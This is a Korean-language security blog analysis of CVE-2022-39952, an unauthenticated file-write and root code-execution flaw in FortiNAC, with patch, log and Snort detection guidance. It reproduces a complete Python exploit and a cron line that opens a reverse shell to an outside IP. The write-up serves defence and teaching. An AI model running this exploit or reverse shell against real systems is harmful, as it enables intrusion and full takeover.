1. FortiNAC

- Fortinet의 네트워크 접근 솔루션 중 하나

- 네트워크에 연결하는 모든 항목에 대한 가시성, 제어, 자동 대응을 제공함으로써 보안 패브릭을 강화하는 포티넷의 네트워크 액세스 제어 솔루션

 

2. 취약점

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2022-39952 [1]

- 인증되지 않은 공격자가 시스템에 임의 파일을 작성하고 root 권한으로 원격 코드를 실행할 수 있는 취약점

- Fortinet 보안팀에서 제일 먼저 발견

영향받는 버전
- FortiNAC 버전 9.4.0
- FortiNAC 버전 9.2.0 ~ 9.2.5
- FortiNAC 버전 9.1.0 ~ 9.1.7
- FortiNAC 8.8 모든 버전
- FortiNAC 8.7 모든 버전
- FortiNAC 8.6 모든 버전
- FortiNAC 8.5 모든 버전
- FortiNAC 8.3 모든 버전

 

2.1 분석 [6]

- 취약점은 keyUpload.jsp에서 발생

- 해당 파일의 내용을 확인하면 key 매개 변수에 파일을 제공하는 요청을 분석하는데 검증을 수행하지 않는 것으로 판단됨.

[사진 2] /bsc/campusMgr/ui/ROOT/configWizard/keyUpload.jsp

 

- 요청에서 key 매개변수가 확인되면, /bsc/campusMgr/config.applianceKey에 추가

- Runtime.exec("~") (= rtKey.exec("~"))로 /bsc/campusMgr/bin/configApplianceXml에 있는 bash 스크립트를 실행

 

[사진 3] /bsc/campusMgr/bin/configApplianceXml

- bash 스크립트는 root 디렉터리로 이동(cd /) 후 작성된 파일의(공격자 파일) 압축을 해제(unzip -o)

- 결론적으로, bash 스크립트에 의해 작업 디렉터리는 / 이므로 공격자는 임의의 파일을 쓸 수 있게 됨

 

2.2 PoC [5]

- PoC를 확인해보면 총 2가지로 이루어져 있음

① 공격을 위한 파일 생성

② 업로드한 공격 파일 업로드

 

- 공격자는 payload파일의 내용을 /etc/cron.d/payload에 cron 작업으로 작성

> cron 작업은 매 분마다 실행되고 공격자에게 리버스 쉘 생성

#!/usr/bin/python3
import argparse
import requests
import zipfile
import urllib3
urllib3.disable_warnings()

def exploit(target):
    url = f'https://{target}:8443/configWizard/keyUpload.jsp'
    r = requests.post(url, files={'key': open('payload.zip', 'rb')}, verify=False)
    if 'SuccessfulUpload' in r.text:
        print(f'[+] Payload successfully delivered')

def make_zip(payload_file):
    fullpath = '/etc/cron.d/payload'
    zf = zipfile.ZipFile('payload.zip', 'w')
    zf.write(payload_file, fullpath)
    zf.close()
    print(f'[+] Wrote {payload_file} to {fullpath}')

if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument('-t', '--target', help='The IP address of the target', required=True)
    parser.add_argument('-f', '--file', help='The cronjob payload file', required=True)
    args = parser.parse_args()

    make_zip(args.file)
    exploit(args.target)

 

- payload 파일 내용

> cron 작업은 매 분마다 실행되고 공격자에게 리버스 쉘 생성

* * * * * root bash -i >& /dev/tcp/10.0.40.83/443 0>&1

[사진 4] 공격 파일 생성&공격(위) 및 리버스 쉘 생성(아래)

3. 대응방안

3.1 서버측면

① 벤더사에서 제공하는 최신 업데이트 적용 [7]

- 취약점 패치 버전

> FortiNAC 버전 9.4.1 이상
> FortiNAC 버전 9.2.6 이상
> FortiNAC 버전 9.1.8 이상
> FortiNAC 버전 7.2.0 이상

 

- 패치 버전을 확인해보면 keyUpload.jsp를 삭제한 것으로 판단됨

[사진 5] 취약 버전(좌) 및 패치 버전(우) 비교

② /bsc/logs/output.master 로그 확인

- 공격자가 해당 로그를 삭제하지 않는 한 로그를 통해 확인 가능

tail -f /bsc/logs/output.master

 

③ cron 확인

- cron을 사용하는 경우 페이로드 파일에 적절한 사용 권한과 소유자가 있는지 확인 후 조치

 

3.2 네트워크 측면

① 탐지 정책 적용 및 모니터링

alert tcp any any -> any any (msg:"FortiNAC HTTP Request RCE (CVE-2022-39952)"; content:"/configWizard/keyUpload.jsp";flow:to_server,established;fast_pattern:only;http_uri; content:"name=|22|key|22|"; nocase;http_client_body; content:"filename="; nocase;)

 

4. 참고

[1] https://nvd.nist.gov/vuln/detail/CVE-2022-39952
[2] https://www.boannews.com/media/view.asp?idx=114481&page=1&kind=1
[3] https://www.bleepingcomputer.com/news/security/exploit-released-for-critical-fortinet-rce-flaws-patch-now/
[4] https://socradar.io/fortinet-patched-critical-rce-vulnerabilities-in-fortinac-and-fortiweb-cve-2022-39952-and-cve-2021-42756/
[5] https://github.com/horizon3ai/CVE-2022-39952
[6] https://www.horizon3.ai/fortinet-fortinac-cve-2022-39952-deep-dive-and-iocs/
[7] https://www.fortiguard.com/psirt/FG-IR-22-300
[8] https://www.fortiguard.com/psirt?date=02-2023
[9] https://www.ddosi.org/cve-2022-39952/

+ Recent posts